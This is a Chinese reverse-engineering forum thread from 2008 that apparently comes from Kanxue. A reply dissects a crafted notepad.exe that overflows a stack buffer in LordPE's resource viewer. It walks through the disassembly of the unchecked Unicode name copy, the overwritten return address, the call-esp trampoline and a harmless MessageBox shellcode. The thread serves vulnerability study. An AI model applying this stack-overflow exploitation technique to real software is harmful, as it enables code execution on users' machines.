-
-
[原创]测试你的LordPE
-
发表于: 2008-5-16 16:28
-
用LordPE打开附件中的exe文件(98记事本)
PE Editor(PE编辑器)
Directories（目录）
Resource(资源)
测试文件
notepad.rar
替换文件
LordPE somuch.rar
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入！
|
|
|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
又溢了...
 验证文件格式一步一步最容易出差错.. 更新 lordpe 去 
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
我的好象没问题
 |
|
|
|
|
|
最近在学习逆向，看到somuch大大找到的漏洞，羡慕不已
 ，小小分析了一把，作为对自己的锻炼吧，呵呵。因本人水平有限，错误和疏漏之处请各位大大多多指点啊，我也进步的快些 ，谢谢。Somuch的帖子中提供了一个程序“notepad.exe”，该程序被修改过，用LordPE装载该程序，查看其资源时会产生溢出。具体分析如下： 1、 用OD载入LordPE后，打开somuch提供的notepad.exe，找到打开资源项目对话框的地方： 0040F2D0 > \8B7424 08 mov esi, dword ptr [esp+8] ; Case 110 (WM_INITDIALOG) of switch 0040F265 0040F2D4 . 56 push esi ; /Arg1 0040F2D5 . E8 96010000 call 0040F470 ; \LordPE_h.0040F470 2、 跟入函数0040F470，找到载入资源的地方，跟踪之后发现是在读取图标名称的时候发生的溢出，跟入一个关键函数：0040F350 0040F7C5 |. 68 2C010000 ||push 12C 0040F7CA |. 8D8D 6CFEFFFF ||lea ecx, dword ptr [ebp-194] 0040F7D0 |. 51 ||push ecx 0040F7D1 |. 50 ||push eax 0040F7D2 |. E8 79FBFFFF ||call 0040F350 3、 在函数0040F350中，其功能主要是：清空函数0040F470中的局部变量var_194h——该变量保存了IMAGE_RESOURCE_DIRECTORY_ENTRY结构中的name字段，在LordPE中，该局部变量被分配了12C个字节的空间，然后再把新的name值赋给var_194h，具体分析如下： 0040F350 /$ 55 push ebp 0040F351 |. 8BEC mov ebp, esp 0040F353 |. 6A FF push -1 0040F355 |. 68 48944100 push 00419448 0040F35A |. 68 F0814100 push <jmp.&MSVCRT._except_handler3> ; SE 处理程序安装 0040F35F |. 64:A1 00000000 mov eax, dword ptr fs:[0] 0040F365 |. 50 push eax 0040F366 |. 64:8925 00000000 mov dword ptr fs:[0], esp 0040F36D |. 83EC 0C sub esp, 0C 0040F370 |. 53 push ebx 0040F371 |. 56 push esi 0040F372 |. 57 push edi 0040F373 |. 8965 E8 mov dword ptr [ebp-18], esp ;以上是开栈帧等的相关操作 -------------------------------------------------------------------------------------------------------------------------------------------------------------- 0040F376 |. 33D2 xor edx, edx 0040F378 |. 8B45 08 mov eax, dword ptr [ebp+8] ;ebp+8是第一个传入参数，保存的是PE文件中资源项IMAGE_RESOURCE_DIRECTORY_ENTRY结构中的name字段 0040F37B |. 66:8B10 mov dx, word ptr [eax] ;用名字命名的资源name字段指向的是一个结构体：IMAGE_RESOURCE_DIR_STRING_U，这里是取该结构的第一个字段Length（字符串长度，为WORD型）赋给dx 0040F37E |. 8B4D 10 mov ecx, dword ptr [ebp+10] ;ebp+10是第三个传入参数，总是为12Ch 0040F381 |. 8D41 FF lea eax, dword ptr [ecx-1] ;去掉字符串中最后一个0后的长度，即12Bh 0040F384 |. 8D3412 lea esi, dword ptr [edx+edx] ;因为在资源中存放的名字字符串是UNICODE编码，所以这里相当于把字符串长度乘以2 0040F387 |. 3BF0 cmp esi, eax ;比较PE中资源的名字字符串的字节个数与LordPE能保存的最大长度，即12Bh 0040F389 |. 76 02 jbe short 0040F38D ;若PE中名字字符串的字节个数等于12Bh,则跳走 0040F38B |. 8BD0 mov edx, eax ;否则强制设置从PE中读取的名字字符串的字节个数为LordPE能保存的最大长度，即12Bh，这里是保证数据不会溢出的。 -------------------------------------------------------------------------------------------------------------------------------------------------------------- 0040F38D |> 33C0 xor eax, eax 0040F38F |. 8B5D 0C mov ebx, dword ptr [ebp+C] ;ebp+C保存的是局部变量var_194h的指针，该变量保存的是PE中资源的名字字符串，其最大长度为12Ch（包含最后的0） 0040F392 |. 8BFB mov edi, ebx 0040F394 |. 8BF1 mov esi, ecx ;注意这里的ecx=12Ch 0040F396 |. C1E9 02 shr ecx, 2 0040F399 |. F3:AB rep stos dword ptr es:[edi] 0040F39B |. 8BCE mov ecx, esi 0040F39D |. 83E1 03 and ecx, 3 0040F3A0 |. F3:AA rep stos byte ptr es:[edi] ;以上这段是清空var_194h，全部设为0 -------------------------------------------------------------------------------------------------------------------------------------------------------------- 0040F3A2 |. C745 FC 00000000 mov dword ptr [ebp-4], 0 0040F3A9 |. 8D0C12 lea ecx, dword ptr [edx+edx] ;这里是溢出的关键，ecx为PE中名字字符串长度*2，这里出现严重错误，本来局部变量var_194h中只能存储12Ch（包含最后的0）个字符，但是这里却按照PE中名字字符串长度*2的长度来对其赋值，所以被溢出 0040F3AC |. 8B45 08 mov eax, dword ptr [ebp+8] 0040F3AF |. 8D70 02 lea esi, dword ptr [eax+2] 0040F3B2 |. 8BFB mov edi, ebx 0040F3B4 |. 8BC1 mov eax, ecx 0040F3B6 |. C1E9 02 shr ecx, 2 0040F3B9 |. F3:A5 rep movs dword ptr es:[edi], dword ptr [esi] 0040F3BB |. 8BC8 mov ecx, eax 0040F3BD |. 83E1 03 and ecx, 3 0040F3C0 |. F3:A4 rep movs byte ptr es:[edi], byte ptr [esi] ;以上是用PE中名字字符串给var_194h赋值 -------------------------------------------------------------------------------------------------------------------------------------------------------------- 0040F3C2 |. C745 FC FFFFFFFF mov dword ptr [ebp-4], -1 0040F3C9 |. 52 push edx ; /Arg2 0040F3CA |. 53 push ebx ; |Arg1 0040F3CB |. E8 4028FFFF call 00401C10 ; 该函数主要是把UNICODE字符串变为char字符串 0040F3D0 |. 83C4 08 add esp, 8 0040F3D3 |. B8 01000000 mov eax, 1 0040F3D8 |. 8B4D F0 mov ecx, dword ptr [ebp-10] 0040F3DB |. 64:890D 00000000 mov dword ptr fs:[0], ecx 0040F3E2 |. 5F pop edi 0040F3E3 |. 5E pop esi 0040F3E4 |. 5B pop ebx 0040F3E5 |. 8BE5 mov esp, ebp 0040F3E7 |. 5D pop ebp 0040F3E8 \. C3 retn ;函数返回，注意栈空间 4、 因为局部变量var_194h是函数0040F470的，所以溢出是在0040F470中的，该变量在栈帧-194h处（在我这里是：0012ECCC处），要溢出返回地址的话，应该在该字符串第198h填写新的返回地址，而somuch的notepad.exe就是这样做的： 0012ECC4 CC CC CC CC CC CC CC CC 2B 94 41 00 E8 00 00 00 ;0041942B就是新的返回地址 5、 跳到该地址后发现是call esp，所以又会跳回0012ECD0，由于在上面的溢出中，把这里的栈空间也溢了，这里是一段shellcode代码： 0012ECD0 E8 00000000 call 0012ECD5 ;这里为了能让ebp指向当前栈顶，使用了call下条指令的方法，这样会把下条指令的地址压栈 0012ECD5 5D pop ebp ;这里把上面压栈的地址弹出至ebp，而压栈的地址正是本条指令的地址0012ECD5，这样做便于用很少的指令来相对引用栈中的数据 0012ECD6 6A 00 push 0 0012ECD8 8D45 4F lea eax, dword ptr [ebp+4F] ;栈中的溢出数据somuch 0012ECDB 50 push eax 0012ECDC 8D45 56 lea eax, dword ptr [ebp+56] ;栈中的溢出数据You Need Update LordPE! somuch 0012ECDF 50 push eax 0012ECE0 6A 00 push 0 0012ECE2 FF15 C4924100 call dword ptr [<&USER32.MessageBoxA>] ; USER32.MessageBoxA ;显示上面的信息 0012ECE8 6A 00 push 0 0012ECEA FF15 D8904100 call dword ptr [<&KERNEL32.ExitProcess>] ; kernel32.ExitProcess ;退出程序 6、 这样就利用在复制字符串时的漏洞完成了一次溢出操作。 |
|
|
|
|
|
|
|
|
|
|
|
|
